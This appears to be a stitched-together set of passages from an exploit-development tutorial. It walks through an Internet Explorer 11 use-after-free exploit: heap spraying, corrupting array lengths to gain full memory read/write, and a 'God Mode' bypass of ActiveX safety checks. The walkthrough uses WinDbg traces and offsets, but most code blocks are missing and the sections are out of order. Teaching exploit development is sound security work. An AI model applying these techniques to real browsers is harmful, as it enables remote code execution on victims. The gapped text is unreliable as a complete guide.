More space on the stack

If you can’t get an exploit to work because you get a weird crash inside fread or some other access violation, the space on the stack might be insufficient for the payload. The easiest solution is to modify the code of the program from this:

to this:

For example, this:


The stack variable moreStack gives us more space on the stack. Remember that the stack grows towards low addresses whereas fread writes going towards high addresses. Without this additional space on the stack, fread might reach the end of the stack and crash the program.

As always, use your head. Sometimes, you want fread to reach the end of the stack and raise an exception so that your exception handler is called (SEH based exploit). The important thing is that there’s enough space on the stack for your payload. If you need more or less space, feel free to modify the size of moreStack.

The for loop in main is needed otherwise moreStack is optimized away. Also, if function f is inlined, the buffer name is allocated after moreStack (i.e. towards the end of the stack) which defeats the purpose. To avoid this, we need to use _declspec(noinline).

A picture should clarify things further:


IE11: Part 2

Completing the exploit

As we saw, the POC uses window.onload because it requires that the javascript code is executed after the page has fully loaded. We must do the same in our exploit. We also need to make the required changes to the rest of the page. Here’s the resulting code:

I snipped runcalc. You can download the full code from here: code6.

When we try it, a familiar dialog box pops up:

This means that something changed and the God Mode doesn’t work anymore.

Let’s start by adding two alerts to check that the variables jscript9 and mshtml contain the correct base addresses:

When we reload the page in IE we discover that the two variables contain incorrect values. Let’s modify the code again to find out what’s wrong:

When we analyze the object at the address addr, we realize that something is missing:

0:021> dd 3c600e0
03c600e0  6cd75480 03c54120 00000000 03c6cfa0
03c600f0  029648a0 03c6af44 03c6af74 00000000
03c60100  6cd7898c 00000001 00000009 00000000
03c60110  0654d770 00000000 00000000 00000000
03c60120  6cd75480 03c54120 00000000 03c6c000
03c60130  029648a0 03c6a3d4 03c6af44 00000000
03c60140  6cd75480 03c54120 00000000 03c6cfb0
03c60150  029648a0 029648c0 03c60194 00000000
0:021> ln 6cd75480
(6cd75480)   jscript9!HostDispatch::`vftable'   |  (6cd755d8)   jscript9!Js::ConcatStringN<4>::`vftable'
Exact matches:
    jscript9!HostDispatch::`vftable' = <no type information>
0:021> ln 029648a0
0:021> dds 3c600e0
03c600e0  6cd75480 jscript9!HostDispatch::`vftable'
03c600e4  03c54120
03c600e8  00000000
03c600ec  03c6cfa0
03c600f0  029648a0
03c600f4  03c6af44
03c600f8  03c6af74
03c600fc  00000000
03c60100  6cd7898c jscript9!HostVariant::`vftable'
03c60104  00000001
03c60108  00000009
03c6010c  00000000
03c60110  0654d770
03c60114  00000000
03c60118  00000000
03c6011c  00000000
03c60120  6cd75480 jscript9!HostDispatch::`vftable'
03c60124  03c54120
03c60128  00000000
03c6012c  03c6c000
03c60130  029648a0
03c60134  03c6a3d4
03c60138  03c6af44
03c6013c  00000000
03c60140  6cd75480 jscript9!HostDispatch::`vftable'
03c60144  03c54120
03c60148  00000000
03c6014c  03c6cfb0
03c60150  029648a0
03c60154  029648c0
03c60158  03c60194
03c6015c  00000000

How can we determine the base address of mshtml.dll without a pointer to a vftable in it?

We need to find another way. For now, we learned that the div element is represented by an object of type jscript9!HostDispatch. But we’ve already seen this object in action. Do you remember the stack trace of the crash? Here it is again:

0:007> k 10
ChildEBP RetAddr  
0a53b790 0a7afc25 MSHTML!CMarkup::IsConnectedToPrimaryMarkup
0a53b7d4 0aa05cc6 MSHTML!CMarkup::OnCssChange+0x7e
0a53b7dc 0ada146f MSHTML!CElement::OnCssChange+0x28
0a53b7f4 0a84de84 MSHTML!`CBackgroundInfo::Property<CBackgroundImage>'::`7'::`dynamic atexit destructor for 'fieldDefaultValue''+0x4a64
0a53b860 0a84dedd MSHTML!SetNumberPropertyHelper<long,CSetIntegerPropertyHelper>+0x1d3
0a53b880 0a929253 MSHTML!NUMPROPPARAMS::SetNumberProperty+0x20
0a53b8a8 0ab8b117 MSHTML!CBase::put_BoolHelper+0x2a
0a53b8c0 0ab8aade MSHTML!CBase::put_Bool+0x24
0a53b8e8 0aa3136b MSHTML!GS_VARIANTBOOL+0xaa
0a53b97c 0aa32ca7 MSHTML!CBase::ContextInvokeEx+0x2b6
0a53b9a4 0a93b0cc MSHTML!CElement::ContextInvokeEx+0x4c
0a53b9d0 0a8f8f49 MSHTML!CLinkElement::VersionedInvokeEx+0x49
0a53ba08 6ef918eb MSHTML!CBase::PrivateInvokeEx+0x6d
0a53ba6c 6f06abdc jscript9!HostDispatch::CallInvokeEx+0xae
0a53bae0 6f06ab30 jscript9!HostDispatch::PutValueByDispId+0x94
0a53baf8 6f06aafc jscript9!HostDispatch::PutValue+0x2a

In particular, look at these two lines:

0a53ba08 6ef918eb MSHTML!CBase::PrivateInvokeEx+0x6d
0a53ba6c 6f06abdc jscript9!HostDispatch::CallInvokeEx+0xae

It’s clear that jscript9!HostDispatch::CallInvokeEx knows the address of the function MSHTML!CBase::PrivateInvokeEx and if we’re lucky, this address is reachable from the object HostDispatch (remember that we know the address of an object of this very type).

Let’s examine jscript9!HostDispatch::CallInvokeEx in IDA. Load jscript9 in IDA and then press Ctrl+P to locate CallInvokeEx. Now you can click on any instruction to see its offset relative to the current function. We want to locate the instruction at offset 0xae of CallInvokeEx:

It looks like the address of MSHTML!CBase::PrivateInvokeEx is at the address eax+20h.

As we did with the UAF bugs, we’ll try to determine where the address of MSHTML!CBase::PrivateInvokeEx comes from:

Now we’ll need to examine the function GetHostVariantWrapper:

By merging the schemata, we get the following:

X = [this+0ch]
var_14 = [X+8]
X = var_14
obj_ptr = [X+10h]

More simply:

X = [this+0ch]
X = [X+8]
obj_ptr = [X+10h]

Let’s see if we’re right. Let’s reload the html page in IE and examine the div element again:

0:022> dd 5360f20
05360f20  6cc55480 05354280 00000000 0536cfb0
05360f30  0419adb0 0536af74 0536afa4 00000000
05360f40  6cc5898c 00000001 00000009 00000000
05360f50  00525428 00000000 00000000 00000000
05360f60  05360f81 00000000 00000000 00000000
05360f70  00000000 00000000 00000000 00000000
05360f80  05360fa1 00000000 00000000 00000000
05360f90  00000000 00000000 00000000 00000000
0:022> ln 6cc55480
(6cc55480)   jscript9!HostDispatch::`vftable'   |  (6cc555d8)   jscript9!Js::ConcatStringN<4>::`vftable'
Exact matches:
    jscript9!HostDispatch::`vftable' = <no type information>
0:022> dd poi(5360f20+c)
0536cfb0  6cc52d44 00000001 05360f00 00000000
0536cfc0  6cc52d44 00000001 05360f40 00000000
0536cfd0  0536cfe1 00000000 00000000 00000000
0536cfe0  0536cff1 00000000 00000000 00000000
0536cff0  0536cf71 00000000 00000000 00000000
0536d000  6cc54534 0535d8c0 00000000 00000005
0536d010  00004001 047f0010 053578c0 00000000
0536d020  00000001 05338760 00000000 00000000
0:022> ln 6cc52d44
(6cc52d44)   jscript9!DummyVTableObject::`vftable'   |  (6cc52d50)   jscript9!Projection::ArrayObjectInstance::`vftable'
Exact matches:
    jscript9!Projection::UnknownEventHandlingThis::`vftable' = <no type information>
    jscript9!Js::FunctionInfo::`vftable' = <no type information>
    jscript9!Projection::UnknownThis::`vftable' = <no type information>
    jscript9!Projection::NamespaceThis::`vftable' = <no type information>
    jscript9!Js::WinRTFunctionInfo::`vftable' = <no type information>
    jscript9!RefCountedHostVariant::`vftable' = <no type information>
    jscript9!DummyVTableObject::`vftable' = <no type information>
    jscript9!Js::FunctionProxy::`vftable' = <no type information>
0:022> dd poi(poi(5360f20+c)+8)
05360f00  6cc5898c 00000005 00000009 00000000
05360f10  00565d88 00000000 00000000 00000000
05360f20  6cc55480 05354280 00000000 0536cfb0
05360f30  0419adb0 0536af74 0536afa4 00000000
05360f40  6cc5898c 00000001 00000009 00000000
05360f50  00525428 00000000 00000000 00000000
05360f60  05360f81 00000000 00000000 00000000
05360f70  00000000 00000000 00000000 00000000
0:022> ln 6cc5898c
(6cc5898c)   jscript9!HostVariant::`vftable'   |  (6cc589b5)   jscript9!Js::CustomExternalObject::SetProperty
Exact matches:
    jscript9!HostVariant::`vftable' = <no type information>
0:022> dd poi(poi(poi(5360f20+c)+8)+10)
00565d88  6f03eb04 00000001 00000000 00000008
00565d98  00000000 05360f08 00000000 00000000
00565da8  00000022 02000400 00000000 00000000
00565db8  07d47798 07d47798 5c0cccc8 88000000
00565dc8  003a0043 0057005c 006e0069 006f0064
00565dd8  00730077 0073005c 00730079 00650074
00565de8  0033006d 005c0032 00580053 002e0053
00565df8  004c0044 0000004c 5c0cccb0 88000000
0:022> ln 6f03eb04
(6f03eb04)   MSHTML!CDivElement::`vftable'   |  (6ede7f24)   MSHTML!s_propdescCDivElementnofocusrect
Exact matches:
    MSHTML!CDivElement::`vftable' = <no type information>

Bingo! Our problems are solved! Now let’s compute the RVA of the vftable just found:

0:005> ? 6f03eb04-mshtml
Evaluate expression: 3861252 = 003aeb04

We also need to compute the RVA for jscript9!HostDispatch::`vftable’:

0:005> ? 6cc55480-jscript9
Evaluate expression: 21632 = 00005480

Now change the code as follows:

Try it out: is should work just fine!

Now remove the two alerts and the return. Mmm… the calculator doesn’t appear, so there must be something wrong (again!). To see what’s wrong, we can rely on the Developer Tools. It seems that when the Developer Tools are enabled our God Mode doesn’t work. Just authorize the execution of the ActiveXObject and you should see the following error:

Luckily, the problem is quite simple: atob isn’t available in IE 9. I found a polyfill for atob here:

Here’s the modified code:

As before, I snipped runcalc. You can download the full code from here: code7.

Now the calculator pops up and everything seems to work fine until we get a crash. The crash doesn’t always happen but there’s definitely something wrong with the code. A crash is probably caused by an incorrect write. Since the God Mode works correctly, the problem must be with the two writes right before the call to bStream.SaveToFile.

Let’s comment out the two writes and try again. Perfect! Now there are no more crashes! But we can’t just leave out the two writes. If we use SimpleServer, it doesn’t work of course because the two writes are needed. Maybe surprisingly, if we add back the two writes, everything works just fine.

If we investigate things a bit, we discover that when the html page is loaded in IE directly from the hard disk, string_addr points to a null dword. On the other hand, when the page is loaded by going to and is served by SimpleServer, string_addr points to the Unicode string For this reason, we should change the code as follows:

Completing the exploit (2)

It’s high time we completed this exploit! Here’s the full code:

Once again, I snipped runcalc. You can download the full code from here: code8.

This code works fine but IE may crash from time to time. This isn’t a major problem because when the user closes the crash dialog box the page is reloaded and the exploit is run again.

The new code has some subtleties so let’s discuss the important points. Let’s start with trigger():

The function getPattern takes an array of the form

and the size in bytes of the pattern. The pattern returned is a string of the specified size which value_1, value_2, etc… at the specified offsets.

I hope the comments are clear enough. For instance, let’s consider this line:

This means that

X = magic_addr + 0x20 - 0xc

which is defined in a way that X+0xc points to b[0], where b[0] is the first element of the Array at magic_addr (0xc000000 in our code).

To understand this better, let’s consider the full schema:

Let’s consider this part of the schema:

As we’ve seen,

means that

X = [ptr+0A4h] = magic_addr + 0x20 - 0xc

so that X+0cx points to b[0].

Then we have

which means that

Y = [X+0ch] = magic_addr + 0x1b - 0x878

The schema tells us that [Y+878h] must be the value to increment. Indeed, Y+0x878 is magic_addr + 0x1b which points to the highest byte of the length of the Array at magic_addr (0xc000000 in our code). Note that we increment the dword at magic_addr + 0x1b which has the effect of incrementing the byte at the same address.

The schema also dictates that [Y+208h] be 0. This is accomplished by the following lines:

Here there are two important points:

  1. Y = b[0] = magic_addr + 0x1b – 0x878 so it’s not a multiple of 4. Because of this, Y+208h isn’t a multiple of 4 either. To modify the misaligned dword [Y+208h], we need to modify the dwords [Y+206h] and [Y+20ah] which coincide with the elements b[idx] and b[idx+1]. That’s why we use Math.floor.
  2. The computed value b[0] + 0x208 – (magic_addr + 0x20) is negative. Because we’ve chosen Y so that Y+878h points to the header of the Array at magic_addr, Y+9b0h and Y+0a24h (see the schema) point to the same Array, but Y+208h points to the previous Array. Every Array will have the same content so, since adjacent Arrays are 0x10000 bytes apart, by writing the value into the memory at address Y+208h+10000h (i.e. in the current Array), we’ll also end up writing that value into the memory at address Y+208h.

To conclude our discussion, note that the function trigger is called only once. A single increment is more than enough because we just need to write a few bytes beyond the end of the Array at magic_addr.

Prev Part

IE11: Part 1

For this exploit I’m using a VirtualBox VM with Windows 7 64-bit SP1 and the version of Internet Explorer 11 downloaded from here:


Finding a UAF bug for IE 11 for this chapter was very hard because security researchers tend to omit important technical details in their articles. As a student of exploit development I wish I had access to such information.

Anyway, the UAF bug I found needs the following line:

Unfortunately, when we’re emulating IE 9, Int32Arrays are not available, so the method we used for IE 10 (see article), although pretty general, is not applicable here. It’s time to look for another method!


We saw how Arrays are laid out in memory in IE 10. Things are very similar in IE 11, but there’s an interesting difference. Let’s create an Array with the following simple code:

We saw that in IE 10 Arrays were created by calling jscript9!Js::JavascriptArray::NewInstance. Let’s put a breakpoint on it:

bp jscript9!Js::JavascriptArray::NewInstance

If we reload the page in IE 11 nothing happens. Let’s try with the constructor:

0:002> bc *
0:002> x jscript9!*javascriptarray::javascriptarray*
6f5c2480          jscript9!Js::JavascriptArray::JavascriptArray (<no parameter info>)
6f5c7f42          jscript9!Js::JavascriptArray::JavascriptArray (<no parameter info>)
6f4549ad          jscript9!Js::JavascriptArray::JavascriptArray (<no parameter info>)
6f47e091          jscript9!Js::JavascriptArray::JavascriptArray (<no parameter info>)
0:002> bm jscript9!*javascriptarray::javascriptarray*
  1: 6f5c2480          @!"jscript9!Js::JavascriptArray::JavascriptArray"
  2: 6f5c7f42          @!"jscript9!Js::JavascriptArray::JavascriptArray"
  3: 6f4549ad          @!"jscript9!Js::JavascriptArray::JavascriptArray"
  4: 6f47e091          @!"jscript9!Js::JavascriptArray::JavascriptArray"

Here I got a weird error in WinDbg:

Breakpoint 1's offset expression evaluation failed.
Check for invalid symbols or bad syntax.
WaitForEvent failed
eax=00000000 ebx=00838e4c ecx=00000000 edx=00000000 esi=00839b10 edi=00000000
eip=7703fc92 esp=05d57350 ebp=05d573d0 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
7703fc92 83c404          add     esp,4

Let me know if you know why this happens. To avoid this error, you can set the 4 breakpoints by hand:

bp 6f5c2480
bp 6f5c7f42
bp 6f4549ad
bp 6f47e091

When we resume the execution and allow blocked content in IE, the second breakpoint is triggered and the stack trace is the following:

0:007> k 8
ChildEBP RetAddr  
0437bae0 6da6c0c8 jscript9!Js::JavascriptArray::JavascriptArray
0437baf4 6d9d6120 jscript9!Js::JavascriptNativeArray::JavascriptNativeArray+0x13
0437bb24 6da6bfc6 jscript9!Js::JavascriptArray::New<int,Js::JavascriptNativeIntArray>+0x112
0437bb34 6da6bf9c jscript9!Js::JavascriptLibrary::CreateNativeIntArray+0x1a
0437bbf0 6da6c13b jscript9!Js::JavascriptNativeIntArray::NewInstance+0x81    <--------------------
0437bff8 6d950aa3 jscript9!Js::InterpreterStackFrame::Process+0x48e0
0437c11c 04cd0fe9 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x1e8
WARNING: Frame IP not in any known module. Following frames may be wrong.
0437c128 6d94ceab 0x4cd0fe9

Let’s delete all the breakpoints and put a breakpoint on JavascriptNativeIntArray::NewInstance:

0:007> bc *
0:007> bp jscript9!Js::JavascriptNativeIntArray::NewInstance

Reload the page and when the breakpoint is triggered, press Shift+F11 to return from the call. EAX should now point to the JavascriptNativeIntArray object:

It seems that the buffer for the Array has space for just 4 elements. Or maybe that 4 elements are the header for the buffer?  When the Array grows, a bigger buffer should be allocated and thus the pointer to the buffer in the Array object should change. So, let’s put a hardware breakpoint on the buf_addr field:

ba w4 @eax+14

When we resume the execution, the hardware breakpoint is triggered and the stack trace looks like this:

0:007> k 8
ChildEBP RetAddr  
0437bac0 6daf49a2 jscript9!Js::JavascriptArray::AllocateHead<int>+0x32
0437baf0 6daf4495 jscript9!Js::JavascriptArray::DirectSetItem_Full<int>+0x28d
0437bb44 6d94d9a3 jscript9!Js::JavascriptNativeIntArray::SetItem+0x187        <------------------------
0437bb70 03a860a6 jscript9!Js::CacheOperators::CachePropertyRead<1>+0x54
WARNING: Frame IP not in any known module. Following frames may be wrong.
0437c0c8 6da618a7 0x3a860a6
0437c104 6d950d93 jscript9!InterpreterThunkEmitter::GetNextThunk+0x4f
0437c128 6d94ceab jscript9!Js::FunctionBody::EnsureDynamicInterpreterThunk+0x77
0437c168 6d94d364 jscript9!Js::JavascriptFunction::CallFunction<1>+0x88

As we expected, the Array grows when elements are added through jscript9!Js::JavascriptNativeIntArray::SetItem. The new address of the buffer is 039e0010h. Now resume the execution, stop the execution again and have a look at the buffer at 039e0010h:

As we can see, the integers 0x123 are written without any kind of encoding in the buffer. In IE 10 we would have had 0x247, i.e. 0x123*2 + 1. The only caveat is that the integers are signed. Let’s see what happens when we write to the Array a value bigger than the biggest positive integer number. Let’s spray the heap to find one of the buffers more easily:

In WinDbg, go to an address like 9000000h or use VMMap to determine a suitable address. This time you’ll see something familiar:

This is the exact situation we had in IE 10: the numbers are encoded (2*N + 1) and first element, which should be the number 0x80000000, points to a JavascriptNumber object. Is there a way to write 0x80000000 directly? Yes: we need to find the negative number whose 2-complement representation is 0x80000000. This number is

-(0x100000000 - 0x80000000) = -0x80000000

Let’s try it:

As you can see, we get exactly what we wanted:

We can conclude that in IE 11 an Array stores 32-bit signed integers directly without any particular encoding. As soon as something different than a 32-bit signed integer is written into the Array, all the integers are encoded as 2*N + 1 just as in IE 10. This means that as long as we’re careful, we can use a normal Array as an Int32Array. This is important because, as we said in the section EmulateIE9, Int32Arrays won’t be available.

Reading/Writing beyond the end

In IE 10 the length of an Array appears both in the Array object and in the header of the Array buffer. Let’s see if things have changed in IE 11. Let’s use the following code:

To determine the address of the Array, we can use the following breakpoint:

bp jscript9!Js::JavascriptNativeIntArray::NewInstance+0x85 ".printf \"new Array: addr = 0x%p\\n\",eax;g"

Here’s a picture of the Array object and its buffer:

Let’s use this code:

We want to modify the Array length so that we can read and write beyond the real end of the Array. Let’s load the HTML page in IE and when the first alert message appears, go in WinDbg and overwrite the length field in the Array object with 0x20000000. When we close the alert box, a second alert box appears with the message undefined. This means that we couldn’t read beyond the end of the Array.

Now let’s try to modify the “Array actual length” field in the header of the Array buffer (from 7 to 0x20000000): same result.

Finally, modify the “Buffer length” field in the header of the Array buffer (from 0x3ff8 to 0x20000000): same result. But if we modify all the three length fields it works! Is it really necessary to modify all the three values by hand? An Array grow when we write at an index which is beyond the current length of the Array. If the buffer is too small, a big enough buffer is allocated. So what happens if we modify just the “Buffer length” field and then write at an index of the Array which is beyond the current length of the Array? If our logic doesn’t fail us, IE should grow the Array without touching the buffer because IE thinks that the buffer is big enough (but we know we faked its size). In other words, IE should update the other two length fields as a consequence of writing to the Array beyond the current end of the Array.

Let’s update our code:

We load the HTML page in IE and when the first alert box appears we modify the “Buffer length” field in the buffer header. Then we resume execution and close the alert box. IE might crash because we could overwrite something important after the end of the Array. In that case, repeat the whole process.

Now, when the second alert box appears, have another look at the Array object and at its buffer header:

Perfect! Again, understand that if we hadn’t altered the “Buffer length” field of the buffer, a new buffer of length at least 0x40f9 would have been allocated, and we wouldn’t have got read/write access to memory beyond the end of the Array.

Whole address space read/write access

We want to acquire read/write access to the whole address space. To do so, we need to spray the heap with many Arrays, modify the “Buffer length” field in the buffer header of one Array, locate the modified Array and, finally, use it to modify all three length fields of another Array. We’ll use this second Array to read and write wherever we want.

Here’s the javascript code:

The header size for the buffer of an Array is 0x20 because there is a 0x10-byte heap allocation header and a 0x10-byte buffer header.

magic_addr is the address where the Array whose length we want to modify is located. Feel free to change that value.

To determine the index of the modified Array we consider each Array in order of allocation and try to modify the first element of the following Array. We can use a[i] to modify the first element of a[i+1] if and only if a[i] is the modified array and the buffer of a[i+1] is located right after the buffer of a[i] in memory. If a[i] is not the modified Array, its buffer will grow, i.e. a new buffer will be allocated. Note that if we determined that a[idx] is the modified Array, then it’s guaranteed that the buffer of a[idx+1] hasn’t been reallocated and is still located right after the buffer of a[idx].

Now we should be able to read/write in the address space [base_addr, 0xffffffff], but what about [0, base_addr]? That is, can we read/write before the buffer of a[idx+1]? Probably, IE assumes that the base addresses and the lengths of the Arrays are correct and so doesn’t check for overflows. Let’s say we want to read the dword at 0x400000. We know that base_addr is 0xc010000.

Let’s suppose that IE computes the address of the element to read as

base_addr + index*4 = 0xc010000 + index*4

without making sure that index*4 < 2^32 – base_addr. Then, we can determine the index to read the dword at 0x400000 as follows:

0xc010000 + index*4 = 0x400000 (mod 2^32)
index = (0x400000 - 0xc010000)/4 (mod 2^32)
index = (0x400000 + 0 - 0xc010000)/4 (mod 2^32)
index = (0x400000 + 2^32 - 0xc010000)/4 (mod 2^32)
index = 0x3d0fc000 (mod 2^32)

The notation

a = b (mod N)


a = b + k*N for some integer k.

For instance,

12 = 5 (mod 7)


12 = 5 + 1*7

Working with 32 bits in presence of overflows is like working in mod 2^32. For instance,

-5 = 0 - 5 = 2^32 - 5 = 0xfffffffb

because, in mod 2^32, 0 and 2^32 are equivalent (0 = 2^32 – 1*2^32).

To recap, if IE just checks that index < array_len (which is 0x3fffffff in our case) and doesn’t do any additional check on potential overflows, then we should be able to read and write in [0,0xffffffff]. Here’s the implementation of the functions read and write:

We’ve already noted that Array contains signed 32-bit integers. Since I prefer to work with unsigned 32-bit integers, I perform some conversions between signed and unsigned integers.

But we haven’t checked if all this works yet! Here’s the full code:

To check if everything works fine, follow the instructions. Try also to write a number >= 0x80000000 such as 0x87654321. Lucky for us, everything seems to be working just fine!

get_addr function

The get_addr function is very easy to write:

Note that we can’t assign obj to a[idx+1][0] because this would make IE crash. In fact, a[idx+1] would become a mix Array and IE would try to encode the dwords of the entire space address! We can’t use a[idx] for the same reason and we can’t use a[idx-1] or previous Arrays because their buffers were reallocated somewhere else (remember?). So, a[idx+2] seems like a good candidate.

God Mode

Now we need to port the God Mode from IE 10 to IE 11. Let’s start with the first few lines:

When the alert box pops up, examine the memory at the indicated address and you should have all the information to fix the code. Here’s the fixed code:

Now let’s analyze jscript9!ScriptSite::CreateActiveXObject, if still present. First of all, add this simple line of code:

Then, load the page in IE and add a breakpoint on jscript9!ScriptSite::CreateActiveXObject. When the breakpoint is triggered, step through the code until you reach a call to CreateObjectFromProgID:

04c05a81 e84a000000      call    jscript9!ScriptSite::CreateObjectFromProgID (04c05ad0)

Step into it (F11) and then step until you reach CanCreateObject:

04c05b4c 8d45e8          lea     eax,[ebp-18h]
04c05b4f 50              push    eax
04c05b50 e86c020000      call    jscript9!ScriptEngine::CanCreateObject (04c05dc1)
04c05b55 85c0            test    eax,eax
04c05b57 0f84f4150400    je      jscript9!ScriptSite::CreateObjectFromProgID+0x116 (04c47151)

Step into it (F11) and step until you get to the virtual call:

04c05df0 8d55f8          lea     edx,[ebp-8]
04c05df3 6a00            push    0
04c05df5 6a00            push    0
04c05df7 6a10            push    10h
04c05df9 ff7508          push    dword ptr [ebp+8]
04c05dfc 8b08            mov     ecx,dword ptr [eax]
04c05dfe 6a04            push    4
04c05e00 52              push    edx
04c05e01 6800120000      push    1200h
04c05e06 50              push    eax
04c05e07 ff5110          call    dword ptr [ecx+10h]  ds:002b:702bcda8={MSHTML!TearoffThunk4 (6f686f2b)}  <---------------
04c05e0a 85c0            test    eax,eax
04c05e0c 7811            js      jscript9!ScriptEngine::CanCreateObject+0x5e (04c05e1f)
04c05e0e f645f80f        test    byte ptr [ebp-8],0Fh
04c05e12 6a00            push    0
04c05e14 58              pop     eax
04c05e15 0f94c0          sete    al
04c05e18 5e              pop     esi
04c05e19 8be5            mov     esp,ebp
04c05e1b 5d              pop     ebp
04c05e1c c20400          ret     4

In IE 10 we went to great lengths to return from CanCreateObject with a non null EAX and a null EDI. But as we can see, in IE 11 there is no pop edi. Does it mean that we can just call the function epilog (which doesn’t use leave anymore, by the way)?

Let’s gather some useful information:

0:007> ln ecx
(702bcd98)   MSHTML!s_apfnPlainTearoffVtable   |  (702bd4a0)   MSHTML!GLSLFunctionInfo::s_info
Exact matches:
    MSHTML!s_apfnPlainTearoffVtable = <no type information>
0:007> ? 702bcd98-mshtml
Evaluate expression: 15453592 = 00ebcd98
0:007> ? 04c05e19-jscript9
Evaluate expression: 1400345 = 00155e19

Now let’s step out of CanCreateObject (Shift+F11):

04c05b50 e86c020000      call    jscript9!ScriptEngine::CanCreateObject (04c05dc1)
04c05b55 85c0            test    eax,eax      <----------------- we are here
04c05b57 0f84f4150400    je      jscript9!ScriptSite::CreateObjectFromProgID+0x116 (04c47151)
04c05b5d 6a05            push    5
04c05b5f 58              pop     eax
04c05b60 85ff            test    edi,edi      <---------------- EDI must be 0
04c05b62 0f85fd351200    jne     jscript9!DListBase<CustomHeap::Page>::DListBase<CustomHeap::Page>+0x61a58 (04d29165)

It seems that EDI must still be 0, but the difference is that now CanCreateObject doesn’t use EDI anymore and so we don’t need to clear it before returning from CanCreateObject. This is great news!

Let’s change EAX so that we can reach CanObjectRun, if it still exists:

r eax=1

Let’s keep stepping until we get to CanObjectRun and then step into it. After a while, we’ll reach a familiar virtual call:

04c05d2c 53              push    ebx
04c05d2d 6a18            push    18h
04c05d2f 52              push    edx
04c05d30 8d55cc          lea     edx,[ebp-34h]
04c05d33 895de8          mov     dword ptr [ebp-18h],ebx
04c05d36 8b08            mov     ecx,dword ptr [eax]
04c05d38 52              push    edx
04c05d39 8d55c0          lea     edx,[ebp-40h]
04c05d3c 52              push    edx
04c05d3d 68845dc004      push    offset jscript9!GUID_CUSTOM_CONFIRMOBJECTSAFETY (04c05d84)
04c05d42 50              push    eax
04c05d43 ff5114          call    dword ptr [ecx+14h]  ds:002b:702bcdac={MSHTML!TearoffThunk5 (6f686efc)}  <---------------
04c05d46 85c0            test    eax,eax
04c05d48 0f889c341200    js      jscript9!DListBase<CustomHeap::Page>::DListBase<CustomHeap::Page>+0x61add (04d291ea)
04c05d4e 8b45c0          mov     eax,dword ptr [ebp-40h]
04c05d51 6a03            push    3
04c05d53 5b              pop     ebx
04c05d54 85c0            test    eax,eax
04c05d56 740f            je      jscript9!ScriptEngine::CanObjectRun+0xaa (04c05d67)
04c05d58 837dcc04        cmp     dword ptr [ebp-34h],4
04c05d5c 7202            jb      jscript9!ScriptEngine::CanObjectRun+0xa3 (04c05d60)
04c05d5e 8b18            mov     ebx,dword ptr [eax]
04c05d60 50              push    eax
04c05d61 ff1518a0e704    call    dword ptr [jscript9!_imp__CoTaskMemFree (04e7a018)]
04c05d67 6a00            push    0
04c05d69 f6c30f          test    bl,0Fh
04c05d6c 58              pop     eax
04c05d6d 0f94c0          sete    al
04c05d70 8b4dfc          mov     ecx,dword ptr [ebp-4]
04c05d73 5f              pop     edi
04c05d74 5e              pop     esi
04c05d75 33cd            xor     ecx,ebp
04c05d77 5b              pop     ebx
04c05d78 e8b8b3eaff      call    jscript9!__security_check_cookie (04ab1135)
04c05d7d 8be5            mov     esp,ebp
04c05d7f 5d              pop     ebp
04c05d80 c20800          ret     8

If we call the epilog of the function like before, we’ll skip the call to jscript9!_imp__CoTaskMemFree, but that shouldn’t be a problem. ECX points to the same vftable referred to in CanCreateObject. Let’s compute the RVA of the epilog of CanObjectRun:

0:007> ? 04c05d7d-jscript9
Evaluate expression: 1400189 = 00155d7d

Now we’re ready to write the javascript code. Here’s the full code:

I snipped runcalc. You can download the full code from here: code5.

Try the code and it should work just fine!

The UAF bug

We’ll be using a UAF bug I found here:

Here’s the POC:

Enable the flags HPA and UST for iexplore.exe in gflags:

When we open the page in IE, IE will crash here:

0aa9a244 8b81a4000000    mov     eax,dword ptr [ecx+0A4h] ds:002b:12588c7c=????????   <------------ crash!
0aa9a24a 56              push    esi
0aa9a24b 85c0            test    eax,eax
0aa9a24d 0f848aaa0800    je      MSHTML!CMarkup::IsConnectedToPrimaryMarkup+0x77 (0ab24cdd)
0aa9a253 8b400c          mov     eax,dword ptr [eax+0Ch]
0aa9a256 85c0            test    eax,eax

The freed object is pointed to by ECX. Let’s determine the size of the object:

0:007> ? 1000 - (@ecx & fff)
Evaluate expression: 1064 = 00000428

So the object is 0x428 bytes.

Here’s the stack trace:

0:007> k 10
ChildEBP RetAddr  
0a53b790 0a7afc25 MSHTML!CMarkup::IsConnectedToPrimaryMarkup
0a53b7d4 0aa05cc6 MSHTML!CMarkup::OnCssChange+0x7e
0a53b7dc 0ada146f MSHTML!CElement::OnCssChange+0x28
0a53b7f4 0a84de84 MSHTML!`CBackgroundInfo::Property<CBackgroundImage>'::`7'::`dynamic atexit destructor for 'fieldDefaultValue''+0x4a64
0a53b860 0a84dedd MSHTML!SetNumberPropertyHelper<long,CSetIntegerPropertyHelper>+0x1d3
0a53b880 0a929253 MSHTML!NUMPROPPARAMS::SetNumberProperty+0x20
0a53b8a8 0ab8b117 MSHTML!CBase::put_BoolHelper+0x2a
0a53b8c0 0ab8aade MSHTML!CBase::put_Bool+0x24
0a53b8e8 0aa3136b MSHTML!GS_VARIANTBOOL+0xaa
0a53b97c 0aa32ca7 MSHTML!CBase::ContextInvokeEx+0x2b6
0a53b9a4 0a93b0cc MSHTML!CElement::ContextInvokeEx+0x4c
0a53b9d0 0a8f8f49 MSHTML!CLinkElement::VersionedInvokeEx+0x49
0a53ba08 6ef918eb MSHTML!CBase::PrivateInvokeEx+0x6d
0a53ba6c 6f06abdc jscript9!HostDispatch::CallInvokeEx+0xae
0a53bae0 6f06ab30 jscript9!HostDispatch::PutValueByDispId+0x94
0a53baf8 6f06aafc jscript9!HostDispatch::PutValue+0x2a

Now we need to develop a breakpoint which breaks exactly at the point of crash. This is necessary for when we remove the flag HPA and ECX points to a string of our choosing.

Let’s start by putting the following breakpoint right before we allow blocked content in IE:

bp MSHTML!CMarkup::IsConnectedToPrimaryMarkup

The breakpoint will be triggered many times before the crash. Moreover, if we click on the page in IE, the breakpoint will be triggered some more times. It’s better to put an initial breakpoint on a parent call which is called only after we allow blocked content in IE. The following breakpoint seems perfect:

bp MSHTML!CBase::put_BoolHelper

When the breakpoint is triggered, set also the following breakpoint:

bp MSHTML!CMarkup::IsConnectedToPrimaryMarkup

This last breakpoint is triggered 3 times before we reach the point (and time) of crash. So, from now on we can use the following standalone breakpoint:

